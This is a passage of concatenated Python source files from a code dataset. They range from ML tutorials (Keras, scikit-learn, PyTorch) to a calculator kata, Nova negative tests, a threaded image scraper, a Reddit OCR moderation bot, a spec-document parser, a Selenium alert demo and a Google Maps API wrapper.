myLoadData.one_hot2list(test_label)\r\n print(\"Test label list:\\n\", test_label_list)\r\n\r\n model.save('MLP_keras_250_100_valiratio_0.1.h5')\r\n\r\n # 保存我的submission\r\n test_ImageId = np.array(range(len(test_label_list)), dtype='int32')[:, np.newaxis] + 1\r\n test_submit_values = np.concatenate((test_ImageId, test_label_list[:, np.newaxis]), axis=1)\r\n test_submit = pd.DataFrame(test_submit_values, columns=['ImageId', 'Label'])\r\n test_submit.to_csv(r\"data\\MLP_keras_submit.csv\", index=False)\r\n\r\n print(\"Time used:\", (time.clock() - start))\r\n","sub_path":"MLP_keras.py","file_name":"MLP_keras.py","file_ext":"py","file_size_in_byte":4420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"100434456","text":"# Author: Guðjón Ingi Valdimarsson\n# Date: 23.03.2020\n\nclass Calculator():\n @staticmethod\n def add(input_string: str) -> int:\n if input_string == \"\":\n return 0\n\n if input_string[:2] == \"//\":\n input_string = input_string[3:].replace(input_string[2], \",\").strip()\n \n input_list = input_string.replace(\"\\n\", \",\").split(\",\")\n input_list = [int(value) for value in input_list if int(value) <= 1000]\n negatives_string = \",\".join([str(value) for value in input_list if value < 0])\n\n if negatives_string:\n raise ValueError(\"Negatives not allowed: {}\".format(negatives_string))\n\n elif len(input_list) >= 2:\n ret_value = 0\n for value in input_list:\n ret_value += int(value)\n return ret_value\n\n else:\n return input_list[0]\n","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"131898269","text":"\"\"\"\n---------------------------\nNova Rebuild Negative tests\n---------------------------\n\"\"\"\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport pytest\n\n\n@pytest.mark.idempotent_id('280559ac-d000-4132-ab7e-6b75b1dfb1fd')\ndef test_rebuild_in_paused_state(cirros_image, server, server_steps):\n \"\"\"**Scenario:** Try to rebuild an instance in Paused state.\n\n **Setup:**\n\n #. Create server\n\n **Steps:**\n\n #. Pause server\n #. Try to rebuild server\n #. Check that rebuild fails and exception is called\n\n **Teardown:**\n\n #. Delete server\n \"\"\"\n server_steps.pause_server(server)\n server_steps.check_server_not_rebuilt_in_paused_state(\n server, cirros_image)\n\n\n@pytest.mark.idempotent_id('f289dfcd-b63a-473d-90fb-1e099fe51c4b')\ndef test_rebuild_in_rescue_state(cirros_image, server, server_steps):\n \"\"\"**Scenario:** Try to rebuild an instance in Rescued state.\n\n **Setup:**\n\n #. Create server\n\n **Steps:**\n\n #. Rescue server\n #. Try to rebuild server\n #. Check that rebuild fails and exception is called\n\n **Teardown:**\n\n #. Delete server\n \"\"\"\n server_steps.rescue_server(server)\n server_steps.check_server_not_rebuilt_in_rescue_state(\n server, cirros_image)\n","sub_path":"stepler/nova/tests/test_rebuild_negative.py","file_name":"test_rebuild_negative.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"20609068","text":"#!/usr/bin/python\n# Adjunct to the main.py file for the 'lives' simulation program\n\nimport argparse\nimport json\n\ndef loadParamFile(file, dict):\n \"\"\"\n Given a JSON filename and a dictionary, return the dictionary with\n the file's fields merged into it.\n Example: if the initial dictionary is\n dict['bobAge'] = 90 and dict['samAge']=20 and the JSON data is\n {'age':{'bob':40, 'fred':35}}\n the returned dictionary contains the following data values:\n dict['bobAge'] = 40, dict['fredAge'] = 35, dict['samAge'] = 20\n \"\"\"\n json_data = open(file).read()\n data = json.loads(json_data)\n\n for group in data:\n fields = data.get(group)\n if type({}) == type(fields):\n # Group of fields - create name from item and group\n for item in fields:\n name = item + group[:1].upper() + group[1:]\n value = data [group][item]\n dict [name] = value\n else:\n # Single data value - naming is assumed to be correct case\n dict [group] = fields\n\n return dict\n\ndef loadCommandLine(dict):\n \"\"\"Process the command line, loading params file (if required). The dict\n argument will be augmented with data from the user-specified parameters\n file (if required), otherwise will return the dict argument unchanged\"\"\"\n parser = argparse.ArgumentParser(\n description='lives v1.0: complex social behaviour simulation.',\n epilog='Example: \"lives -f test.json -n 3\" --- run 3 sims with test.json\\'s params',\n formatter_class=argparse.RawTextHelpFormatter,\n prog='lives',\n usage='use \"%(prog)s -h\" for more information')\n parser.add_argument(\n '-f', '--file',\n help='parameters file in JSON format e.g. postdoc.json')\n parser.add_argument(\n '-n', '--num', metavar='N', type=int, default=1,\n help='number of runs to carry out. Not needed if N=1')\n parser.add_argument(\n '-r', '--retire', action='store_true',\n help='batch run for retirement')\n args = parser.parse_args()\n print(\"~ Filename: {}\".format(args.file))\n print(\"~ Number: {}\".format(args.num))\n print(\"~ Retire: {}\".format(args.retire))\n if args.file:\n res = loadParamFile (args.file, dict)\n\n return dict\n\n# Some test data\n# p['favouriteSeed'] will remain untouched\n# p['ageScalingMale'] will be overwritten with the data file's\n# 'ageScalingMale' value\n# many other values will be added to p from the data file\np = {}\np ['favouriteSeed'] = None\np ['ageScalingMale'] = 12345\n\n# Load the default values, overwriting and adding to the initial p values\nloadParamFile(\"default.json\", p)\n\n# Load values based upon the command line file passed (if any).\nloadCommandLine (p)\nprint (\"p = {}\".format(p))\n","sub_path":"lives.py","file_name":"lives.py","file_ext":"py","file_size_in_byte":2783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"199869243","text":"'''\nDesigned by Mrage\nMIT License\nVersion: 0.1 beta\nDate: 28.10.19 19:37\n'''\n\nimport sys\nimport argparse\nimport requests\nfrom bs4 import BeautifulSoup\nimport urllib.request\nfrom threading import Thread\nfrom time import sleep\nactivethreads = 0\ncount = 0\nurl = ''\ndef Choice(phase):\n out = input(\"{0}[y/n]?: \".format(phase))\n if out == 'y' or out == 'д' or out == 'Y' or out == 'Д':\n return(True)\n else:\n return(False)\ndef Download(filename, link):\n global count\n f = open(filename,'wb')\n try:\n f.write(urllib.request.urlopen(link).read())\n f.close()\n count+=1\n print('[+]{0} loaded'.format(filename))\n except:\n print('[-]{0} error loading file'.format(filename))\n\n# saving images function\ndef SaveImage(startpos,endpos,obj):\n global activethreads\n for i in range(startpos,endpos):\n link = obj[i].attrs['src']\n filename = link.split('/')[-1]\n if (link.find('.png')==-1 or link.find('.jpg')==-1):\n if 'http' in link or 'https' in link: \n Download(filename,link)\n else:\n link = url+link[2:]\n Download(filename,link)\n activethreads-=1\n\ndef Parser(link,threads, obj, image=False):\n global activethreads\n request = requests.get(link)\n soup = BeautifulSoup(request.text, 'html.parser')\n finding = soup.find_all(obj)\n print(\"Found {0} objects at page {1}\".format(len(finding),link))\n# if we'r workin with images\n if image == True:\n save = Choice(\"Wanna load files\")\n if save == True:\n \n startpos = 0\n num = len(finding)//int(threads)\n\n for _ in range(0,int(threads)):\n if(not activethreads == 0):\n startpos+=num\n if(activethreads==int(threads)-1):\n numo = len(finding)%int(threads)\n num = num+numo\n print('Starting thread %i'%_)\n th = Thread(target=SaveImage , args=(startpos,startpos+num,finding, ))\n th.start()\n activethreads+=1\ndef ArgParser():\n '''\n First we need to do is to take some params from command\n python scrap.py [command]\n '''\n global url\n parser = argparse.ArgumentParser(description='Universal parser')\n parser.add_argument('link', help='Link or links argument')\n parser.add_argument('threads', help='Number of threads')\n parser.add_argument('object', help='Object of the search')\n args = parser.parse_args()\n url = args.link\n if(args.object == 'img'):\n Parser(args.link,args.threads,args.object, image=True)\n else:\n Parser(args.link,args.threads,args.object, image=False) \n\ndef Main():\n ArgParser() \n while(not activethreads==0):\n sleep(1)\n print('Files loaded '+str(count))\n\nif __name__==\"__main__\":\n Main()\n ","sub_path":"scrap.py","file_name":"scrap.py","file_ext":"py","file_size_in_byte":2907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"141541781","text":"__author__ = 'universityofbigdata'\n\n\nimport numpy as np\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import roc_auc_score\n\n\nDATA_TRAIN_PATH = 'model/train.tsv'\ntrain = np.genfromtxt(DATA_TRAIN_PATH)\n\nX = train[:, :-1]\ny = train[:, -1]\nTEST_SIZE = 0.2\nRANDOM_STATE = 42\nX_train, X_val, y_train, y_val = train_test_split(X, y, test_size=TEST_SIZE, random_state=RANDOM_STATE)\n\nprint(X.shape, y.shape)\nprint(X_train.shape, y_train.shape)\nprint(X_val.shape, y_val.shape)\n\nclf = LogisticRegression(random_state=RANDOM_STATE)\n\nclf.fit(X_train, y_train)\ny_pred = clf.predict_proba(X_val)[:, 1]\nprint(roc_auc_score(y_val, y_pred))\n\nclf_new = LogisticRegression(random_state=RANDOM_STATE, fit_intercept=False)\nclf_new.fit(X_train, y_train)\ny_pred_new = clf_new.predict_proba(X_val)[:, 1]\nprint(roc_auc_score(y_val, y_pred_new))\n\nclf_submit = LogisticRegression(random_state=RANDOM_STATE, fit_intercept=False)\nclf_submit.fit(X, y)\n\nDATA_TEST_PATH = 'model/test.tsv'\nX_test = np.genfromtxt(DATA_TEST_PATH)\n\nSUBMIT_PATH = 'submissions/sample-submission-basic.tsv'\ny_submit = clf_submit.predict_proba(X_test)[:, 1]\n\nprint(y_submit)\nnp.savetxt(SUBMIT_PATH, y_submit, fmt='%.5f')\n\n","sub_path":"tutorial_train_and_evaluation.py","file_name":"tutorial_train_and_evaluation.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"197856703","text":"import torch\r\n\r\n\r\n\r\n# where\r\na = torch.rand(2, 2)\r\na1 = a.ge(0.5)\r\nprint(a1)\r\n\r\nb1 = torch.tensor([[1., 2.], [4., 5.]])\r\nb2 = torch.tensor([[0., 0.], [0., 0.]])\r\nb = torch.where(a1, b1, b2) # 第一个参数为一个选拔矩阵,对应位置为true的位置的值为第二个参数值,false为第二个参数对应位置的值\r\nprint(b)\r\n\r\n\r\n# gather 查表收集\r\na = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.5])\r\nb = torch.tensor([3, 2, 4, 0, 0])\r\nprint(torch.gather(a, dim=0, index=b.long())) # 第一个参数为表本身,第二个参数为查找的维度,第三个参数为查表索引不能为tensor类型\r\n\r\n\r\na = torch.randn(4, 10)\r\nidx = a.topk(3, dim=1) # 其返回值既包含值的大小,又包含值的位置\r\nprint(idx)\r\ny = torch.arange(10)\r\ny1 = y + 100\r\ny2 = y1.expand(4, 10)\r\nprint(torch.gather(y2, dim=1, index=idx[1].long()))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"1.PyTorch初见/1.9高阶操作.py","file_name":"1.9高阶操作.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"471224607","text":"import io\nimport logging\nimport os\nimport re\n\nfrom PIL import Image\nimport pickledb\nimport praw\nimport requests\nimport pytesseract\n\nLOG_LEVEL = os.getenv('LOG_LEVEL', logging.DEBUG)\nlogging.basicConfig(level=LOG_LEVEL)\n\nif int(os.getenv('BOT_DEBUG', 1)) > 0:\n DEBUG = True\nelse:\n DEBUG = False\nlogging.info(f'DEBUG = {DEBUG}')\n\nSUBREDDIT = os.getenv('SUBREDDIT', 'ethereumbot')\nCLIENT_ID = os.getenv('CLIENT_ID')\nCLIENT_SECRET = os.getenv('CLIENT_SECRET')\nBOT_USERNAME = os.getenv('BOT_USERNAME', 'ethereumbot')\nBOT_PASSWORD = os.getenv('BOT_PASSWORD')\nUSER_AGENT = os.getenv('USER_AGENT', 'ethereumbot/1.0')\n\nIMAGE_REGEX = re.compile(os.getenv('IMAGE_REGEX', r'https://.\\.redd.it/.*\\.(?:jpg|gif|png)'))\n\nDEFAULT_BLOCKLIST = [\n 'sale',\n]\nBLOCKLIST = os.getenv('BLOCKLIST', DEFAULT_BLOCKLIST)\n\ndef check_submission_for_images(submission):\n logging.debug(f'check_submission_for_images({submission})')\n found_images = IMAGE_REGEX.findall(submission.selftext)\n if found_images:\n logging.info(f'Image(s) Found in {submission.id}')\n logging.debug(found_images)\n detected_blocked_words = []\n for image_url in found_images:\n response = requests.get(image_url)\n img = Image.open(io.BytesIO(response.content))\n text = pytesseract.image_to_string(img)\n logging.info(f'OCR result for {image_url}:\\n {text}')\n lowercase_text = text.lower()\n for term in BLOCKLIST:\n if term in lowercase_text:\n logging.info(f'Blocked word ({term}) found in image. Reporting post ({submission.url})')\n detected_blocked_words.append({term})\n else:\n logging.debug('No blocked words found')\n if len(detected_blocked_words) > 0:\n if not DEBUG:\n reason = f'Blocked words {detected_blocked_words} detected in embedded image'\n submission.report(reason)\n logging.debug(f'Post reported with reason: {reason}')\n return True\n else:\n logging.info(f'No Image Found: Ignoring {submission.id}.')\n return False\n\n\ndef main(db_filename):\n db = pickledb.load(db_filename, True)\n reddit = praw.Reddit(client_id=CLIENT_ID,\n client_secret=CLIENT_SECRET,\n password=BOT_PASSWORD,\n user_agent=USER_AGENT,\n username=BOT_USERNAME)\n logging.info(f'Subreddit: https://reddit.com/r/{SUBREDDIT}')\n logging.info(f'Blocklist:\\n{BLOCKLIST}')\n subreddit = reddit.subreddit(SUBREDDIT)\n for submission in subreddit.stream.submissions():\n if not db.exists(submission.id):\n has_images = check_submission_for_images(submission)\n if has_images:\n logging.debug(f'Body:\\n{submission.selftext}')\n db.set(submission.id, has_images)\n db.dump()\n else:\n logging.info(f'Post already seen. Ignoring {submission.id}.')\n\nif __name__ == '__main__':\n main('/data/main.db')\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":3074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"32935749","text":"import re\nfrom pandas.core.base import DataError\nfrom text_extraction import *\nimport pandas as pd\nimport pickle\nimport openpyxl\nimport os\nimport csv\n\ndef read_data(txtfile):\n\n with open(txtfile, \"r\",encoding=\"utf-8\") as f:\n list_data=f.readlines()\n str_data=\" \".join(list_data)\n\n f.close()\n return list_data,str_data\n\ndef PartsDivision(str_data):\n\n parts = re.findall(\"PART[\\s]{1,3}[1-3]\", str_data)\n\n part1_start = re.search(parts[0], str_data).start()\n part2_start = re.search(parts[1], str_data).start()\n part3_start = re.search(parts[2], str_data).start()\n\n part1=str_data[part1_start:part2_start]\n part2=str_data[part2_start:part3_start]\n part3=str_data[part3_start:]\n\n return [part1,part2,part3]\n\ndef parts_list(list_data):\n l1=[]\n for i,j in enumerate(list_data):\n if re.search(\"PART[\\s]{1,3}[123]\", j):\n l1.append(i)\n\n part1_list=list_data[l1[0]:l1[1]]\n part2_list=list_data[l1[1]:l1[2]]\n part3_list=list_data[l1[2]:]\n\n return [part1_list,part2_list,part3_list]\n\ndef SectionHeading(parts):\n\n part1,part2,part3=parts\n\n section_heading=r\"\\b[123][.]\\d{1,2}[\\s]*[A-Za-z-\\t ():),/.']+\\b\"\n \n part1_section_ = re.findall(section_heading, part1)\n part2_section_ = re.findall(section_heading, part2, re.M)\n part3_section_ = re.findall(section_heading, part3, re.M)\n\n part1_section=[i for i in part1_section_ if i.isupper()]\n part2_section=[i for i in part2_section_ if i.isupper()]\n part3_section=[i for i in part3_section_ if i.isupper()]\n\n # print(part1_section)\n return [part1_section,part2_section,part3_section]\n\n\ndef map_sections(multiple_parts):\n\n mapping={}\n\n for part in multiple_parts:\n for section in part:\n divide=section.split(\" \")\n section_num=divide[0]\n section_name=\" \".join(divide[1:]).strip()\n mapping[section_num]=section_name\n\n # print(mapping)\n return mapping\n\ndef sub_section(three_parts,headings):\n '''\n\n FOR REFERENCE\n re.sub(r\"\\s*\\n\\s*\", r\"\\n\", \"\\n\".join(indiviual_list))\n r\"(?m)(?P
[A-Z]+\\. .*(?:\\n(?!\\d|[A-Z]+\\.).*)*)\"\n r\"\\b([A-Z]\\s*\\.\\s*)\\b\"\n\n '''\n\n part1_list,part2_list,part3_list=three_parts\n part1_heading,part2_heading,part3_heading=headings\n\n\n for sub_list,sub_heading in zip([part1_list],[part1_heading]):\n l1=[]\n # print(sub_list)\n # print(\"=\"*145)\n\n # print(sub_heading)\n # print(sub_list)\n # print(\"=\"*145)\n\n for new_search in sub_heading:\n\n for i,ok in enumerate(sub_list):\n # print(new_search)\n if new_search in ok.lstrip():\n # print(\"String ->\",ok.lstrip())\n # print(\"Search ->\",new_search)\n l1.append(i)\n # print(l1)\n l1.append(len(sub_list))\n \n master={}\n\n for i in range(len(l1)):\n\n try:\n \n indiviual_list = sub_list[l1[i]:l1[i + 1]]\n\n # print(indiviual_list)\n\n # print(indiviual_list[0])\n section_found = False\n in_section = False\n result = {}\n items = []\n current_section = ''\n for s in indiviual_list:\n if not s.strip():\n continue\n if re.match(r'[A-Z]\\s*\\.\\s*\\b', s):\n in_section = True\n if current_section: # not the first time found\n result[current_section] = items\n items = []\n current_section = s.rstrip()\n section_found = True\n elif section_found and re.match(r'\\d{1,2}\\s*\\.', s):\n in_section = False\n items.append(s.rstrip())\n elif section_found:\n if in_section:\n current_section += f' {s.rstrip()}'\n else:\n if items:\n items[-1] += f' {s.rstrip()}'\n\n if current_section:\n result[current_section] = items\n master[indiviual_list[0].rstrip()]=result\n # print(result)\n # print(\"=\"*140)\n except IndexError as e:\n pass\n \n # print(master)\n # print(\"\\n\")\n # sec_find=\"1.1 SUMMARY\"\n # print(master[sec_find])\n # print(master)\n return master\n\nclass Entries:\n\n def __init__(self, list_data,str_data):\n self.list_data=list_data\n self.str_data=str_data\n \n def spec_number(self):\n regex=r'SECTION\\s*\\d{2}\\s*\\d{2}\\s*\\d{2}'\n spec_num=re.search(\"\\d[0-9\\s]+\",re.search(regex,self.str_data,re.IGNORECASE).group()).group()\n # print(section_name[:2])\n return spec_num.strip()\n\n def division(self,spec_number):\n\n master=pd.read_excel('master.xlsx',sheet_name=\"Sheet1\")\n if spec_number[0]=='0':\n division=int(spec_number[1])\n else:\n division=int(spec_number[:2])\n\n division=spec_number[:2]+\" - \"+master.loc[master['Specification Group'] == division, 'Name'].iloc[0]\n return division\n\n def spec_name(self):\n\n regex=r'SECTION\\s*\\d{2}\\s*\\d{2}\\s*\\d{2}[i]?'\n\n _,start=re.search(regex,self.str_data,re.IGNORECASE).span()\n end,_=re.search(\"PART\",self.str_data).span()\n spec_name=self.str_data[start:end].strip()\n\n return spec_name\n\n def test_reports(self,data):\n\n for key,value in data.items():\n\n if re.search('SUBMITTAL',key,re.I) :\n print(key)\n\n return \n \n def search(self,word,data):\n \n sub_section={}\n submittals=True\n for key,value in data.items():\n \n if re.search('WARRANTY',key,re.I) or re.search('WARRANTIES',key,re.I):\n submittals=False\n found=False\n \n for i,j in value.items():\n \n manufacturer=re.search(\"[A-Z]\\s*[.]\\s*Manufacture([rs’]?)+\\s*Warrant(y|ies)\",i,re.I)\n installer=re.search(\"[A-Z]\\s*[.]\\s*Installe([rs’]?)+\\s*Warrant(y|ies)\",i,re.I)\n special=re.search(\"[A-Z]\\s*[.]\\s*Special([s’]?)+\\s*Warrant(y|ies)\",i,re.I)\n\n if manufacturer or installer or special:\n\n found=True\n \n if (j == []) :\n sub_sec=key.split()[0]+\"/\"+i.split(\" \", 1)[0].replace(\".\", \"\")\n sub_section[sub_sec]=i.split(\" \", 1)[1].strip()\n\n else:\n for item in j:\n sub_sec=key.split()[0]+\"/\"+i.split(\" \", 1)[0].replace(\".\", \"\")\n sub_sec=sub_sec+\"/\"+item.split(\" \", 1)[0].replace(\".\", \"\")\n sub_section[sub_sec]=item.split(\" \", 1)[1].strip()\n\n if not found:\n \n for i,j in value.items():\n\n if (j == []) :\n sub_sec=key.split()[0]+\"/\"+i.split(\" \", 1)[0].replace(\".\", \"\")\n sub_section[sub_sec]=i.split(\" \", 1)[1].strip()\n\n else:\n for item in j:\n sub_sec=key.split()[0]+\"/\"+i.split(\" \", 1)[0].replace(\".\", \"\")\n sub_sec=sub_sec+\"/\"+item.split(\" \", 1)[0].replace(\".\", \"\")\n sub_section[sub_sec]=item.split(\" \", 1)[1].strip()\n # print(sub_sec)\n # print(sub_section)\n \n if submittals:\n \n for key,value in data.items():\n\n if 'SUBMITTAL' in key:\n \n for i,j in value.items():\n \n if \"warranty\" in i.lower() and j==[]:\n sub_sec=key.split()[0]+\"/\"+i.split(\" \", 1)[0].replace(\".\", \"\")\n sub_section[sub_sec]=i.split(\" \", 1)[1].strip()\n \n if j!=[]:\n \n for item in j:\n if (\"warranty\" in item.lower()) or (\"warranties\" in item.lower()):\n sub_sec=key.split()[0]+\"/\"+i.split(\" \", 1)[0].replace(\".\", \"\")\n sub_sec=sub_sec+\"/\"+item.split(\" \", 1)[0].replace(\".\", \"\")\n sub_section[sub_sec]=item.split(\" \", 1)[1].strip()\n if sub_section=={}:\n return None\n\n return sub_section\n\n def all(self,word,data):\n spec_num=Entries.spec_number(self)\n division=Entries.division(self,spec_num)\n spec_name=Entries.spec_name(self)\n sub_sections=Entries.search(self,word,data)\n\n data_dump=[]\n for s_no,(spec_sub_sec,sentence) in enumerate(sub_sections.items()):\n dump=[]\n dump.append(s_no+1)\n dump.append(division)\n dump.append(spec_num)\n dump.append(spec_name.title())\n dump.append(spec_sub_sec)\n\n if re.match('Manufacturer’s Warrant',sentence,re.I):\n dump.append(word+\" - Manufacturer\")\n elif re.match('Installer’s Warranty',sentence,re.IGNORECASE):\n dump.append(word+\" - Installer\")\n else:\n dump.append(word)\n\n dump.append(sentence)\n\n data_dump.append(dump)\n \n return data_dump\n\n def printcsv(self,data):\n # header = ['S.NO', 'Division', 'Spec Number','Spec Name','Spec Sub Section','Document Type', 'Description']\n with open('closeout.csv', 'a+', encoding='utf-8', newline='') as f:\n writer = csv.writer(f)\n writer.writerows(data)\n\n f.close()\n\n\nmain=['01 73 29', '01 78 00', '01 78 36', '07 59 00', '07 62 00','07 72 00', '07 92 00', '08 11 13', '08 70 00', '08 80 00',\n '08 91 00', '09 51 00', '09 65 13', '09 69 00', '09 97 26','21 00 10', '21 01 00', '22 00 10', '22 01 00', '23 00 10',\n '23 05 13', '23 08 13', '23 09 00', '23 23 00', '23 36 00','23 74 13', '23 81 25', '23 84 13', '26 00 10', '26 05 00',\n '26 05 19', '26 05 26', '26 05 29', '26 05 33', '26 05 36','26 05 37', '26 05 38', '26 05 43', '26 05 48', '26 05 53',\n '26 08 13', '26 09 23', '26 22 00', '26 24 13i', '26 24 16','26 26 00i', '26 27 26', '26 28 13', '26 28 16', '26 32 13i',\n '26 33 53i', '26 41 13', '26 43 13', '26 51 00', '27 05 26','28 31 12']\n\ndef individual(spec,b):\n\n file='Docs/DLR(combined)/'+b[spec]\n get_data(file)\n\n list_data,str_data=read_data('raw_text.txt')\n parts=PartsDivision(str_data)\n headings=SectionHeading(parts)\n three_parts=parts_list(list_data)\n data=sub_section(three_parts,headings)\n\n word=\"Warranty\"\n entry=Entries(list_data,str_data)\n # entry.search(word,data)\n entry.test_reports(data)\n # print(entry.spec_name())\n\ndef multiple(main,b,divs):\n\n header = ['S.NO', 'Division', 'Spec Number','Spec Name','Spec Sub Section','Document Type', 'Description']\n with open('closeout.csv', 'w+', encoding='utf-8-sig', newline='') as f:\n writer = csv.writer(f)\n writer.writerow(header)\n f.close()\n zz=0\n for i in os.listdir('C:/Users/raghavg/vcons/Projects/submittals/Docs/DLR(combined)'):\n for num, pdf in b.items():\n if pdf==i:\n spec=num\n\n if (spec[:2] != '01'):\n # if spec in main:\n # print(spec[:2]=='01')\n print(\"============ Processing {} ==============\".format(i))\n file='Docs/DLR(combined)/'+i\n try:\n get_data(file)\n list_data,str_data=read_data('raw_text.txt')\n parts=PartsDivision(str_data)\n headings=SectionHeading(parts)\n three_parts=parts_list(list_data)\n data=sub_section(three_parts,headings)\n\n word=\"Warranty\"\n entry=Entries(list_data,str_data)\n ans=entry.search(word,data)\n if ans==None:\n print(\"No warranty section found.\")\n zz=zz+1\n else:\n entry.printcsv(entry.all(word,data))\n \n except Exception as e:\n print(\"Not able to process {}\".format(i))\n zz=zz+1\n print(zz)\n\nwith open('read.pickle', 'rb') as handle:\n b = pickle.load(handle)\n\nindividual('03 30 00',b)\n\n# divs=['01']\n# divs=['07','08','09','21','22','23','26','27','28']\n\n# multiple(main,b,divs)","sub_path":"divide.py","file_name":"divide.py","file_ext":"py","file_size_in_byte":12978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"246262148","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # @param a ListNode\n # @return a ListNode\n def swapPairs(self, head):\n if not head or not head.next:\n return head\n dummy=ListNode(0)\n dummy.next=head\n prev=dummy\n cur=head\n while cur and cur.next:\n cur2=cur.next\n tmp1,tmp2=self.swap(cur,cur2)\n prev.next=tmp1\n prev=tmp2\n cur=tmp2.next\n return dummy.next\n \n def swap(self, n1, n2):\n tmp=n2.next\n n2.next=n1\n n1.next=tmp\n return n2,n1","sub_path":"swapnodesinpair.py","file_name":"swapnodesinpair.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"362064321","text":"from selenium import webdriver\nimport time\n# 创建浏览器\ndriver = webdriver.Chrome()\n\n# 网页最大化\ndriver.maximize_window()\n\n# 打开对应的网址\ndriver.get(r'D:\\use app\\pycharm\\pythonwork\\day14自动化\\练习的html\\弹框的验证\\dialogs.html')\n# 点击按钮\n# driver.find_element_by_xpath(\"//*[@id='alert']\").click()\ndriver.find_element_by_xpath(\"//*[@id = 'confirm']\").click()\n\n# 切换到当前弹框,并且接受/取消\ntime.sleep(3)\n# driver.switch_to.alert.accept() # 确定按钮\ndriver.switch_to.alert.dismiss() # 取消按钮\n\n\n# 关闭浏览器\ntime.sleep(10)\ndriver.quit()\n\n\n\n\n\n\n\n","sub_path":"弹框的验证.py","file_name":"弹框的验证.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"542926837","text":"import googlemaps\nimport webbrowser\nimport config\nfrom constants import BASE_URL\nimport requests\nimport logging\nimport logger_config\nfrom datetime import datetime, date # noqa: F401\nimport calendar\n\n\ngmaps = googlemaps.Client(config.key) # global variable gmaps\n\nlog = logging.getLogger(__name__)\nlog.info('Entered module: %s' % __name__)\n\n\n@logger_config.logger\ndef direction(origin, destination):\n result = gmaps.directions(origin, destination) # noqa\n address = f'origin={origin}&destination={destination}'\n result_url = f'{BASE_URL[\"direction\"]}&{address.lower().replace(\" \", \"+\")}'\n logging.debug(result_url)\n webbrowser.open_new(result_url)\n return result_url\n\n\n@logger_config.logger\ndef get_timestamp(date_time):\n yr, mon, day, hr, mi = map(int, date_time.split())\n d = datetime(yr, mon, day, hr, mi)\n timestamp = calendar.timegm(d.timetuple())\n return timestamp\n\n\n@logger_config.logger\ndef get_lat_lng(place):\n response = requests.get(f'https://maps.googleapis.com/maps/api/geocode/json?address={place}&key={config.key}') # noqa: E501\n resp_json_payload = response.json()\n lat_lng = resp_json_payload['results'][0]['geometry']['location']\n return (lat_lng)\n\n\n@logger_config.logger\ndef timezone(place, date_time): # format of datetime should be YYYY MM DD Hrs Mins and place should be a normal string # noqa: E501\n lat_lng = get_lat_lng(place)\n timestamp = get_timestamp(date_time)\n response = requests.get(f'https://maps.googleapis.com/maps/api/timezone/json?location={lat_lng[\"lat\"]},{lat_lng[\"lng\"]}×tamp={timestamp}&key={config.key}') # noqa: E501\n resp_dict = response.json()\n for key in resp_dict:\n print(f\"{key} : {resp_dict[key]}\")\n\n\n@logger_config.logger\ndef geocoding(search_location):\n result = gmaps.geocode(search_location)\n logging.debug(\"Formatted Address: \"+result[0]['formatted_address'])\n logging.debug(\"Latitude: \"+str(result[0]['geometry']['location']['lat']) + \" \" + \"Longitude: \" + str(result[0]['geometry']['location']['lng'])) # noqa: E501\n address = search_location\n result_url = f'{BASE_URL[\"geocoding\"]}={address.lower().replace(\" \", \"+\")}'\n webbrowser.open_new(result_url)\n return result_url\n\n\n@logger_config.logger\ndef mapsstatic(search_location):\n address = search_location\n result_url = f'https://maps.googleapis.com/maps/api/staticmap?center={address.lower().replace(\" \", \"+\")}&zoom=13&scale=1&size=600x350&maptype=roadmap&key={config.key}&format=png&visual_refresh=true&markers=size:mid%7Ccolor:0xff0000%7Clabel:L%7C{address.lower().replace(\" \", \"+\")}' # noqa: E501\n logging.debug(result_url)\n webbrowser.open_new(result_url)\n return result_url\n\n\n\"\"\"Summary or Description of the Function\n Parameters:\n search_location(str): The location entered by user\n\n Returns:\n result_value(int): elevation(in metres) above/below sea level\n \"\"\"\n\n@logger_config.logger\ndef elevation(search_location):\n result = gmaps.geocode(search_location)\n json = 